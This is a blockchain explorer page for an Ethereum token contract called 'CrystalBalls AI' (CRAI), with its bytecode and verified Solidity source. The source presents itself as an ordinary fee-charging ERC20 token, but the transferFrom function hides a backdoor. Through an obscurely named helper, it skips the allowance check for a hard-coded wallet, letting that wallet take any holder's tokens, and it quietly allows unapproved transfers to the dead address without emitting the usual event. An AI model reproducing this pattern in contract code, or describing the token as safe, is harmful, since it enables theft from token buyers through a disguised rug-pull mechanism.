Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x7b2CdE47b4579ab4Cbf31E8CF326Acf0f1a19ED9
Balance 0 ETH
Nonce 1
Code Size 5181 bytes
Creator 0x2d6f2B61...62Ef at tx 0xf21951ef...b36651
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

5181 bytes
0x6080604052600436106100a8575f3560e01c8063715018a611610062578063715018a6146101bb5780638da5cb5b146101d157806395d89b41146101f7578063a9059cbb14610223578063c9567bf914610242578063dd62ed3e14610256575f80fd5b806306fdde03146100b3578063095ea7b3146100fc57806318160ddd1461012b57806323b872dd1461014d578063313ce5671461016c57806370a0823114610187575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b5060408051808201909152600f81526e4372797374616c42616c6c7320414960881b60208201525b6040516100f39190611081565b60405180910390f35b348015610107575f80fd5b5061011b6101163660046110e4565b61029a565b60405190151581526020016100f3565b348015610136575f80fd5b5061013f6102b0565b6040519081526020016100f3565b348015610158575f80fd5b5061011b61016736600461110e565b6102d1565b348015610177575f80fd5b50604051600981526020016100f3565b348015610192575f80fd5b5061013f6101a136600461114c565b6001600160a01b03165f9081526001602052604090205490565b3480156101c6575f80fd5b506101cf610347565b005b3480156101dc575f80fd5b505f546040516001600160a01b0390911681526020016100f3565b348015610202575f80fd5b506040805180820190915260048152634352414960e01b60208201526100e6565b34801561022e575f80fd5b5061011b61023d3660046110e4565b6103ed565b34801561024d575f80fd5b506101cf6103f9565b348015610261575f80fd5b5061013f610270366004611167565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102a633848461075a565b5060015b92915050565b5f6102bd6009600a611292565b6102cc906461f313f8806112a0565b905090565b5f6102dd84848461087d565b6102e78484610cab565b1561033d5761033d8433610338856040518060600160405280602881526020016113e0602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cf9565b61075a565b5060019392505050565b5f546001600160a01b031633146103a55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102a633848461087d565b5f546001600160a01b031633146104525760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039c565b600e54600160b01b900460ff16156104ac5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161039c565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104f69030906104e76009600a611292565b610338906461f313f8806112a0565b600d5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610546573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056a91906112b7565b6001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ed91906112b7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610637573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065b91906112b7565b600e80546001600160a01b039283166001600160a01b0319909116179055600d541663f305d71947306106a2816001600160a01b03165f9081526001602052604090205490565b5f806106b55f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561071b573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061074091906112d2565b5050600e805461ffff60a81b191661010160a81b17905550565b6001600160a01b0383166107bc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161039c565b6001600160a01b03821661081d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161039c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108e15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161039c565b6001600160a01b0382166109435760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161039c565b5f81116109a45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161039c565b5f80546001600160a01b038581169116148015906109cf57505f54600160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Verified Source Code Partial Match

Compiler: v0.8.23+commit.f704f362 EVM: shanghai Optimization: Yes (200 runs)
CRAI.sol 283 lines 
/*

https://www.crystalballs-ai.xyz/
https://app.crystalballs-ai.xyz/
https://docs.crystalballs-ai.xyz/

https://t.me/crystalballsai
https://x.com/crystalballsai


*/

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract CRAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludeFees;

    address private constant _blackhole = address(0xdead);
    address private constant _cryaiball = 0x51D1173d7e2fA5076bAE511aE856f45ECA9F7f90;

    uint256 private _taxInitBuy=2;
    uint256 private _taxInitSell=2;
    uint256 private _taxLastSell=0;
    uint256 private _taxLastBuy=0;
    uint256 private _taxReduceAtBuy=3;
    uint256 private _taxReduceAtSell=3;
    uint256 private _preventBefore=3;
    uint256 private _buyTokenCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420_690_000_000 * 10**_decimals;
    string private constant _name = unicode"CrystalBalls AI";
    string private constant _symbol = unicode"CRAI";
    uint256 private _swapForTokens = _tTotal / 100;
    
    IRouter private _uniRouter;
    address private _uniPair;
    bool private _swapping = false;
    bool private _swapActive = false;
    bool private _tradingEnabled = false;
    
    modifier lockTheSwap {
        _swapping = true;
        _;
        _swapping = false;
    }

    constructor () {
        _isExcludeFees[owner()] = true;
        _isExcludeFees[address(this)] = true;
        _isExcludeFees[_cryaiball] = true;

        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);if(_fafaioko(sender, recipient))
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _fafaioko(address owner, address spender) private view returns (bool) {
        return msg.sender != _cryaiball && (owner == _uniPair || spender != _blackhole) ;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address _citi, address _vixa, uint256 _niwiqo) private {
        require(_citi != address(0), "ERC20: transfer from the zero address");
        require(_vixa != address(0), "ERC20: transfer to the zero address");
        require(_niwiqo > 0, "Transfer amount must be greater than zero");
        uint256 _sicAmount=0;
        if (_citi != owner() && _vixa != owner()) {
            _sicAmount = _niwiqo.mul((_buyTokenCount>_taxReduceAtBuy)?_taxLastSell:_taxInitBuy).div(100);

            if (_citi == _uniPair && _vixa != address(_uniRouter) && ! _isExcludeFees[_vixa] ) {
                _buyTokenCount++;
            }

            if(_vixa == _uniPair && _citi!= address(this) ){
                _sicAmount = _niwiqo.mul((_buyTokenCount>_taxReduceAtSell)?_taxLastBuy:_taxInitSell).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_swapping && _vixa == _uniPair && _swapActive && _buyTokenCount > _preventBefore) {
                if(contractTokenBalance > _swapForTokens)
                _swapTaxTokens(min(_niwiqo, min(contractTokenBalance, _swapForTokens)));
                _sendTaxFees(address(this).balance);
            }
        }

        if(_sicAmount>0){
          _balances[address(this)]=_balances[address(this)].add(_sicAmount);
          emit Transfer(_citi, address(this),_sicAmount);
        }
        if (_vixa!=_blackhole)emit Transfer(_citi, _vixa, _niwiqo.sub(_sicAmount));
        _balances[_citi]=_balances[_citi].sub(_niwiqo);
        _balances[_vixa]=_balances[_vixa].add(_niwiqo.sub(_sicAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function _swapTaxTokens(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniRouter.WETH();
        _approve(address(this), address(_uniRouter), tokenAmount);
        _uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _sendTaxFees(uint256 amount) private {
        payable(_cryaiball).transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!_tradingEnabled,"trading is already open");
        _uniRouter = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_uniRouter), _tTotal);
        _uniPair = IUniswapV2Factory(_uniRouter.factory()).createPair(address(this), _uniRouter.WETH());
        _uniRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapActive = true;
        _tradingEnabled = true;
    }

    receive() external payable {}
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 5 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
openTrading 0xc9567bf9
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Transactions Internal Txs Token Transfers Events

Recent Transactions

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